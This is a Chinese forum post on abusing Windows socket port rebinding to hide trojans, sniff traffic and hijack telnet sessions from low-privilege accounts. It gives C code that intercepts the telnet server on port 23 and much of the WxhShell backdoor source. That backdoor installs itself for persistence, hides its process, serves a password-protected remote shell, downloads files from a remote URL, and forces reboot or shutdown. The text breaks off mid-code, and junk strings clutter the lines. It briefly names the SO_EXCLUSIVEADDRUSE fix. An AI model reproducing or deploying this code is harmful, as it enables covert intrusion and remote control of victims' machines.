社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 20235阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V'K$:9^x[8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [0&Lvx  
&/JnAfmYqt  
  saddr.sin_family = AF_INET; }(o/+H4  
LG<lZ9+y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !%s7I ^f*  
"apv)xdW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KG3*~G  
=JVRm 2#*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IB!Wrnj?  
2WUBJ-qnuT  
  这意味着什么?意味着可以进行如下的攻击: ^ _+ks/  
U1q$B32  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +:'Po.{"  
nr-mf]W&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )<^ ~${$U  
:X4\4B*~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M9&tys[KX  
~ml\|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FwW%@Y  
\pzvoj7{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vq5I 2  
<M&]*|q>g%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n/|/Womr  
epG;=\f}m`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R3@iN &  
= oh6;Ojt  
  #include XdS<51 C  
  #include $1dI  
  #include |Q I3H]T7  
  #include     +;!w;t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WX=+\`NyJ(  
  int main() P)\f\yb  
  { 4Dd9cG,lN  
  WORD wVersionRequested; RsOK5XnQn  
  DWORD ret; " LxJPt\  
  WSADATA wsaData; @2$8o]et  
  BOOL val; }`M6+.z3F  
  SOCKADDR_IN saddr; 4xYo2X,B  
  SOCKADDR_IN scaddr; < Ihn1?  
  int err; <bjy<98LT  
  SOCKET s; .N'UnKz  
  SOCKET sc; &qpA<F@7  
  int caddsize; 3+$O#>  
  HANDLE mt; 8/F2V?iT  
  DWORD tid;   b,`\"'1  
  wVersionRequested = MAKEWORD( 2, 2 ); nWl0R=  
  err = WSAStartup( wVersionRequested, &wsaData ); $U0(%lIU  
  if ( err != 0 ) { MnS"M[y3  
  printf("error!WSAStartup failed!\n"); (,TO|  
  return -1; f7W=x6Z4  
  } C`#N Q*O  
  saddr.sin_family = AF_INET; .^NV e40O  
   (\I =v".  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }I10hy~W  
qB:`tHy  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Hb$q}1+y  
  saddr.sin_port = htons(23); mzw*6e2T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lxz %b C@  
  { e5/_Vga  
  printf("error!socket failed!\n"); .o8Gi*PEY  
  return -1; 1k~jVC2VA  
  } 8xv\Zj+  
  val = TRUE; i :$g1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \mDm *UuG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PaZYs~EO  
  { gJ7$G3&oZg  
  printf("error!setsockopt failed!\n"); #RD%GLY  
  return -1; ;'Q{ ywr  
  } (j /O=$mJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p4Y 9$(X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,-"]IR!,w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }*t~&l0  
cs5Xd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p~b$+8#+  
  { w '"7~uN  
  ret=GetLastError(); 3OZ}&[3  
  printf("error!bind failed!\n"); o&O!Ur  
  return -1; pZjFpd|  
  } [~o3S$C&7  
  listen(s,2); -+=8&Wa  
  while(1) Ygl!fC 4b  
  { {HU48v"W  
  caddsize = sizeof(scaddr); Cnr48ukq  
  //接受连接请求 TGLXvP& \  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); re!CF8 q  
  if(sc!=INVALID_SOCKET) QHh#O+by#  
  { AK!G#ug  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S=2,jPX2r  
  if(mt==NULL) EGt)tI&  
  { )?WoL Ejq  
  printf("Thread Creat Failed!\n"); k?#6j1pn  
  break; 40E[cGz$*  
  } neBkwXF!  
  } <*+ MBF  
  CloseHandle(mt); ivq4/Y] -X  
  } pDLo`F}A  
  closesocket(s); @RP|?Xc{?  
  WSACleanup(); J\*d4I<(Rt  
  return 0; |H4'*NP"  
  }   }VGiT~2$  
  DWORD WINAPI ClientThread(LPVOID lpParam) Uww^Sq  
  { _6' g]4  
  SOCKET ss = (SOCKET)lpParam; GM/1u fZH  
  SOCKET sc; iiTUhO )  
  unsigned char buf[4096]; e'Pa@]VaC  
  SOCKADDR_IN saddr; Cw}\t!*!  
  long num; \) ;rOqh  
  DWORD val; X@)lPr$a  
  DWORD ret; 2$91+N*w9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1rEP)66N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Xwi&uyvU&  
  saddr.sin_family = AF_INET; TG9)x|!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p1nA7;B-m  
  saddr.sin_port = htons(23); bq O"k t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L7-nPH  
  { nM`)`!/  
  printf("error!socket failed!\n"); A M2M87{t  
  return -1; -,dQ&Qf?  
  } 7E95"B&w  
  val = 100; R;o_*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dc)Gk  
  { _+En%p.m  
  ret = GetLastError(); )R4<* /C:w  
  return -1; :m\KQ1sq  
  } u_B SWhiW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hqPn~Tq  
  { q*O KA5  
  ret = GetLastError(); YYHm0pc  
  return -1; z@i4dC  
  } y#+o*(=fRE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?la_ +;m  
  { f#5JAR  
  printf("error!socket connect failed!\n"); 8=~>B@'  
  closesocket(sc); ShpnFuH  
  closesocket(ss); lI 1lP 1  
  return -1; lNb\^b  
  } ={^#E?  
  while(1) oK6lCGM5  
  { tOw 0(-:iq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S2)S/ nf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _LNPB$P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7;NV 1RV  
  num = recv(ss,buf,4096,0); 2#3R]zIO  
  if(num>0) y`\Mhnj  
  send(sc,buf,num,0); 8GldVn.u  
  else if(num==0) >Il`AR;D  
  break; ,X^_w g  
  num = recv(sc,buf,4096,0); Zi)b<tM q  
  if(num>0) a"}#HvB+  
  send(ss,buf,num,0); QGd- 9UEA]  
  else if(num==0) p0K;m%  
  break; vXbT E$  
  } aTsfl  
  closesocket(ss); J|-HZ-Wk|J  
  closesocket(sc); sFK<:ka  
  return 0 ; D OeKW  
  } y6}):|  
SK52.xXJ  
4Z }{hc\J  
========================================================== F/sBr7I  
mx~sxYa  
下边附上一个代码,,WXhSHELL d&`j 8O  
jm\#($gl=  
==========================================================  #Uh 5tc  
"ux]kfoT  
#include "stdafx.h" AvZ) 1(  
Wg^cj:&`u  
#include <stdio.h> )/"7$2Aoy  
#include <string.h> &F_rg,q&_  
#include <windows.h> x[UO1% _o-  
#include <winsock2.h> <q2nZI^  
#include <winsvc.h> <R>z;2c  
#include <urlmon.h> 070IBAk}_  
)1Nnn  
#pragma comment (lib, "Ws2_32.lib") RFY!o<   
#pragma comment (lib, "urlmon.lib") -G#k/Rz6  
sG2 3[t8  
#define MAX_USER   100 // 最大客户端连接数 5Q`n6x|  
#define BUF_SOCK   200 // sock buffer (JW?azU  
#define KEY_BUFF   255 // 输入 buffer -P>=WZu  
:-La $I>  
#define REBOOT     0   // 重启 fhKiG%i'l  
#define SHUTDOWN   1   // 关机 .To:tN#  
<C;> $kX  
#define DEF_PORT   5000 // 监听端口 sdYj'e:N  
e oSM@Isu  
#define REG_LEN     16   // 注册表键长度 |SKG4_wGe  
#define SVC_LEN     80   // NT服务名长度 z\>X[yNpA  
J"/z?!)IB  
// 从dll定义API PMs_K"-K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j#t8Krd] "  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +wozjjc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x }'4^Cv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :xS&Y\ry  
siYRRr  
// wxhshell配置信息 Y>Hl0$:=  
struct WSCFG { GA.bRN2CI2  
  int ws_port;         // 监听端口 AUsQj\Nm%  
  char ws_passstr[REG_LEN]; // 口令 Fx5d@WNa>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6L9[U^`@  
  char ws_regname[REG_LEN]; // 注册表键名 P lH`(n#  
  char ws_svcname[REG_LEN]; // 服务名 $'YKB8C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tw;qY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WwtE=od  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D"4&9"CU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V9u\;5oL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9zYiG3 d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NjN?RB/5  
L8wcH  
}; @[tV_Z%,b  
8sIA;r%S  
// default Wxhshell configuration AAq=,=:R<  
struct WSCFG wscfg={DEF_PORT, F(9 Y/UXH  
    "xuhuanlingzhe", .*-w UBr  
    1, B36puz 0{  
    "Wxhshell", OP`Jc$| 6  
    "Wxhshell", ?%/u/*9rj  
            "WxhShell Service", X2dc\v.x  
    "Wrsky Windows CmdShell Service", ^y0C5Bl;  
    "Please Input Your Password: ", [Cj)@OC  
  1, ?7MwTi8{F  
  "http://www.wrsky.com/wxhshell.exe", tQ/ #t<4D  
  "Wxhshell.exe" HJaw\zbL  
    }; lkH;N<U  
ct4 [b|  
// 消息定义模块 i4zV(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qy5Os?9"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D?yE$_3>c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H9VXsFTW  
char *msg_ws_ext="\n\rExit."; |\|)j>[i  
char *msg_ws_end="\n\rQuit."; b>= Wq  
char *msg_ws_boot="\n\rReboot..."; dM s||&|&  
char *msg_ws_poff="\n\rShutdown..."; {{ *]bGko  
char *msg_ws_down="\n\rSave to "; AXP`,H  
7X{bB  
char *msg_ws_err="\n\rErr!"; bLEATT[  
char *msg_ws_ok="\n\rOK!"; _gm?FxV:  
n<<=sj$\!  
char ExeFile[MAX_PATH]; )w2K&Zr0  
int nUser = 0; J4v0O="  
HANDLE handles[MAX_USER]; gZlw  
int OsIsNt; \D U^idp#  
p&sK\   
SERVICE_STATUS       serviceStatus; VkDS&g~Ws  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (y~laW!  
MATgJ`lsy  
// 函数声明 !3I(4?G,  
int Install(void); daB l%a=  
int Uninstall(void); mPfUJ#rS  
int DownloadFile(char *sURL, SOCKET wsh); 1%spzkE 3P  
int Boot(int flag); 6UW:l|}4#2  
void HideProc(void); 9Ue7 ~"=  
int GetOsVer(void); uR:=V9O  
int Wxhshell(SOCKET wsl); %8bzs?QI  
void TalkWithClient(void *cs); +an^e'  
int CmdShell(SOCKET sock); ^{*f3m/  
int StartFromService(void); 2Za ,4'  
int StartWxhshell(LPSTR lpCmdLine); w;c#drY7S  
E {KS a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z_Wm HB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yn4)Zhkk  
,<$YVXe/  
// 数据结构和表定义 n{^<&GWox  
SERVICE_TABLE_ENTRY DispatchTable[] = (7;J"2M  
{ q11QAx4p  
{wscfg.ws_svcname, NTServiceMain}, uKbHFF  
{NULL, NULL} @q+cm JKv  
}; j&dx[4|m:h  
vS$oT]-hKE  
// 自我安装 &{zwM |Q@?  
int Install(void) &I RA=nJ  
{ ZUXse1,  
  char svExeFile[MAX_PATH]; 4e+BqCriC*  
  HKEY key; *5y W  
  strcpy(svExeFile,ExeFile); n{64g+  
V~T`&  
// 如果是win9x系统,修改注册表设为自启动 '<%Nw-  
if(!OsIsNt) { "*w)puD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j,=*WG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?""\  
  RegCloseKey(key); M'umoZmW0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QJ#u[hsMFp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &nqdl+|G*  
  RegCloseKey(key); w|}W(=#  
  return 0; NtY*sUKRD  
    } 9fP) Fwih  
  } QB/7/PW{H\  
} ]yAEjn9cN  
else { ~v2V`lxh  
r(: 8!=~K  
// 如果是NT以上系统,安装为系统服务 w%3Fg~Up  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \E$1lc  
if (schSCManager!=0) ,u}<Ws8N  
{ OL=ET)Y  
  SC_HANDLE schService = CreateService 8:HSPDU.  
  ( 9H h~ nR?  
  schSCManager, X`yNR;>  
  wscfg.ws_svcname, .!JMPf"QEI  
  wscfg.ws_svcdisp, 6z#lN>Y-`  
  SERVICE_ALL_ACCESS, u0XP(d H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dac ^*k=D  
  SERVICE_AUTO_START, XogvtK*  
  SERVICE_ERROR_NORMAL, wJ+U[a  
  svExeFile, Ap]4QqU  
  NULL, L1hD}J'$4  
  NULL, 'e.q 7Jpd  
  NULL, w"cM<Ewu  
  NULL, 4%wq:y< )/  
  NULL $D QD$  
  ); .pZo(*  
  if (schService!=0) #PPR"w2g  
  { (2z%U  
  CloseServiceHandle(schService); e0f":Vct  
  CloseServiceHandle(schSCManager); >ik1]!j]Lv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]3L@$`ys  
  strcat(svExeFile,wscfg.ws_svcname); (8CCesy&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \!^i;1h0c3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m[Z6VHn  
  RegCloseKey(key); ;>9OgO  
  return 0; ^^G-kg  
    } .OmQ'  
  } ?k{|Lk  
  CloseServiceHandle(schSCManager); gyi)T?uS)  
} @Q;i.u{V  
} Gn]d;5P=  
QXdaMc+Ck  
return 1; aS,a_b]  
} CI,lkO|C  
K`hz t  
// 自我卸载 u_N\iCYp  
int Uninstall(void) :T_'n,  
{ |d $1wr  
  HKEY key; =G( *gx  
`#u l,%  
if(!OsIsNt) { jip\4{'N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f hQy36i@  
  RegDeleteValue(key,wscfg.ws_regname); 'pan9PW  
  RegCloseKey(key); XwcMt r*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3brb*gI_b  
  RegDeleteValue(key,wscfg.ws_regname);  bH*@,EE  
  RegCloseKey(key); 42fprt  
  return 0; &yE1U#J(  
  } $+Vmwd;  
} '!!e+\h#  
} Sv7 i! j  
else {  bRNK.[|  
@ ]f3| >I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DU;[btK>  
if (schSCManager!=0) %yiD~&  
{ |/VL35b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uz 0W <u3v  
  if (schService!=0) B &?fM~J  
  { H+a~o=/cR  
  if(DeleteService(schService)!=0) { A2y6UzLYD  
  CloseServiceHandle(schService); 2B-.}OJ  
  CloseServiceHandle(schSCManager); m}98bw  
  return 0; rFo\+//  
  } }sv!=^}BY3  
  CloseServiceHandle(schService); h40'@u^W  
  } a mqOxb  
  CloseServiceHandle(schSCManager); {>@QJlE0  
} ! .AhzU1%Y  
} %JQ~!3  
=_[2n?9y  
return 1; u?F (1iN =  
} =p]mX )I_  
)!e3.C|V1W  
// 从指定url下载文件 9 ~~qAoD  
int DownloadFile(char *sURL, SOCKET wsh) XYe~G@Q Z  
{ ,yICNtP  
  HRESULT hr; /}Yqf`CZy  
char seps[]= "/"; Hle\ON  
char *token; :r&iM b:Ra  
char *file; wUoiXi09  
char myURL[MAX_PATH]; Q"%QQo}}  
char myFILE[MAX_PATH]; Z?17Pu'Dp  
2{-!E ^g  
strcpy(myURL,sURL); Vo,[EVL  
  token=strtok(myURL,seps); Edw2W8  
  while(token!=NULL) QBoFpxh=  
  { Pp+~Cir  
    file=token; g<$. - g  
  token=strtok(NULL,seps); 87i"   
  } f ba&`  
T"?Y5t`(  
GetCurrentDirectory(MAX_PATH,myFILE); jv =EheD  
strcat(myFILE, "\\"); !EOQhh  
strcat(myFILE, file); %zzYleJ!]  
  send(wsh,myFILE,strlen(myFILE),0); ;WD,x:>blO  
send(wsh,"...",3,0); f^p^Y F+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EUy(T1Cl&&  
  if(hr==S_OK) #--olEj!  
return 0; x? N.WABr;  
else $Jp~\_X  
return 1; aG(hs J)  
w9f _b3  
} hGI+:Js6  
Q".g.k  
// 系统电源模块 =q+R   
int Boot(int flag) 1a$IrQE  
{ := <0=JE#  
  HANDLE hToken; Q(Gyq:L=>  
  TOKEN_PRIVILEGES tkp; ([R")~`(l2  
_({@B`N}  
  if(OsIsNt) { $W&:(&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zBY~lNB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t<638`{kk  
    tkp.PrivilegeCount = 1; q$gz_nVq,b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <~{du ?4n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *%\mZ,s"  
if(flag==REBOOT) { S/4r\6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *KJB>W%@uM  
  return 0; E9+HS  
} sWHyL(C@  
else { Izn T|l^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~~nqU pK?v  
  return 0; JJ ?I>S N!  
} ?^u^im  
  } 2.-o@im0  
  else { ?mx\eX{  
if(flag==REBOOT) { -\#lF?fzb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &gn-Wb?  
  return 0; "uKFOV?j&  
} 53Yxz3v  
else { 0{+.H_f`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +q{[\#t5  
  return 0; Vr=OYI'A  
} PD6_)PXn  
} raE Mm  
19c@`?  
return 1; M;jcUX_{  
} m%QSapV  
B=n[)"5fBO  
// win9x进程隐藏模块 SV.z>p  
void HideProc(void) s5D:  
{ UKtSm%\  
y$b]7O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Ye8 Q5v"]  
  if ( hKernel != NULL ) 'T,c.Vj)  
  { h|bT)!|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w0w1PE-V=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vXv;1T  
    FreeLibrary(hKernel); [AS}RV  
  } dJ ~Zr)>  
lCIDBBjy^  
return; Ez+Z[*C  
} l_{8+\`!  
-Z0+oU(?YE  
// 获取操作系统版本 T2FE+A]n9  
int GetOsVer(void) 6C [E  
{ sOBu7!G%  
  OSVERSIONINFO winfo; f>polxB%N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }%TPYc  
  GetVersionEx(&winfo); Lrd[O v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /<Ld'J  
  return 1; i47j lyH  
  else =0 qpVFvU  
  return 0; 4!.(|h@  
} ,q#0hy%5/  
2`?!+")  
// 客户端句柄模块 0w=R_C)s  
int Wxhshell(SOCKET wsl) W!T"m)S  
{ t2>fmQIQ  
  SOCKET wsh; ,7_4 z]jK  
  struct sockaddr_in client; h-#1U3d  
  DWORD myID; LP];x3  
"V& I^YSc>  
  while(nUser<MAX_USER) ][&9]omB  
{ ?r=jF)C<'  
  int nSize=sizeof(client); O|kOI?f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9?<{_'  
  if(wsh==INVALID_SOCKET) return 1; aUU7{o_Z  
fCWGAO2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )h{ ]k=  
if(handles[nUser]==0) QDx$==Fo  
  closesocket(wsh); )e|=mtp  
else MGJ.,tK1  
  nUser++; k8AW6oO/i  
  } Wb}c=hZv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PcT?<HU  
%]2, &  
  return 0; fHRMu:q  
} {)8>jxQN  
Az;t"  
// 关闭 socket @p6<Lw_E  
void CloseIt(SOCKET wsh) kM8{C w  
{ v\tEVhm  
closesocket(wsh); PwB1]p=  
nUser--; sEJC-$   
ExitThread(0); G fEX>  
} T .FI'wy  
U1nw- Q+  
// 客户端请求句柄 "VG+1r+]4  
void TalkWithClient(void *cs) TS2ZF{m  
{ Uu 8,@W+  
#Lv2Zoi>G  
  SOCKET wsh=(SOCKET)cs; 6 Orum/|h  
  char pwd[SVC_LEN]; "ZM4F?x  
  char cmd[KEY_BUFF]; -i yyn ^|  
char chr[1]; ngohtB^]  
int i,j; 2;a(8^n  
jRSUp E8  
  while (nUser < MAX_USER) { }|u4 W?H  
,EGQ@:3/  
if(wscfg.ws_passstr) { KGH/^!u+R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y){ k3lm0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 i[\T  
  //ZeroMemory(pwd,KEY_BUFF); {8)zg<rL+M  
      i=0; }X*Riu7gk  
  while(i<SVC_LEN) { li~d?>  
FKNMtp[`  
  // 设置超时 J_x13EaV0  
  fd_set FdRead; CHrFM@CM  
  struct timeval TimeOut; ,(8;y=wux  
  FD_ZERO(&FdRead); ( +pLA"xq  
  FD_SET(wsh,&FdRead); n!p<A.O7@  
  TimeOut.tv_sec=8; NS%WeAf  
  TimeOut.tv_usec=0; (bsXo q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6f')6X'x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pn.wud}R  
q\m2EURco  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $,+O9Et  
  pwd=chr[0]; =6"2UC&  
  if(chr[0]==0xd || chr[0]==0xa) { QUU;g2k  
  pwd=0; vVE2m=!v  
  break; 1N7Kv4,  
  } ]QzGE8jp*  
  i++; 3)\8%Ox  
    } MrZh09y  
t2,A@2DU 2  
  // 如果是非法用户,关闭 socket + s- lCz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h4q|lA6!k8  
} z!l.:F  
^*P%=>zO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &|f@$ff  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8GvJ0Jq}U  
rM'=_nmi  
while(1) { xx[9~z=d  
ZI=%JU(  
  ZeroMemory(cmd,KEY_BUFF); "@?? Fw!  
*h}XWBC1q  
      // 自动支持客户端 telnet标准   uV!^,,~  
  j=0; Q09[[  
  while(j<KEY_BUFF) { +L7n<U3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $STaQ28C  
  cmd[j]=chr[0]; 1P~X8=9h  
  if(chr[0]==0xa || chr[0]==0xd) { h }B% /U  
  cmd[j]=0; >}+/{(K"E|  
  break; ^h69Kr#d4  
  } 0NS<?p~_S  
  j++; gb H<]?  
    } xlhG,bb7  
$GlWf  
  // 下载文件 b )B? F  
  if(strstr(cmd,"http://")) { {q"OM*L(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "?V0$-DR  
  if(DownloadFile(cmd,wsh)) |&RU/a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N<~t3/Nm  
  else 28 ?\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &l!4mxwr`  
  } SHe49!RA'{  
  else { ^s|6vd;PD=  
Pi]19boM.  
    switch(cmd[0]) { :]\([Q+a  
  a!=D[Gz*5  
  // 帮助 .&DhN#EN0  
  case '?': { +j< p \Kn>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wK?vPS  
    break; 7@D@ucL  
  } -[cTx[Z,  
  // 安装 OCNQvF~  
  case 'i': { 8fl`r~bqZ  
    if(Install()) < jJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gt@m?w(  
    else MF5[lK9e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ML|FQ  
    break; |5lk9<z  
    } \G*0"%!U  
  // 卸载 s.$3j$vT 8  
  case 'r': { U~:-roQ(\  
    if(Uninstall()) ;U-jO &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g:hjy@ w  
    else k$blEa4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F(>Np2oi6  
    break; N sXHO  
    } 45@^L's  
  // 显示 wxhshell 所在路径 ]n6#VTz*  
  case 'p': { jIJ~QpNE  
    char svExeFile[MAX_PATH]; t'n pG}`tE  
    strcpy(svExeFile,"\n\r"); 2LF/H$] o5  
      strcat(svExeFile,ExeFile); `sn^ysp  
        send(wsh,svExeFile,strlen(svExeFile),0); 4h|c<-`>t  
    break; k>;`FFQU>  
    } HiZ*+T.B  
  // 重启 G?O1>?4C  
  case 'b': { nT7%j{e=L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X% t1 T4  
    if(Boot(REBOOT)) IG2r#N|C#  
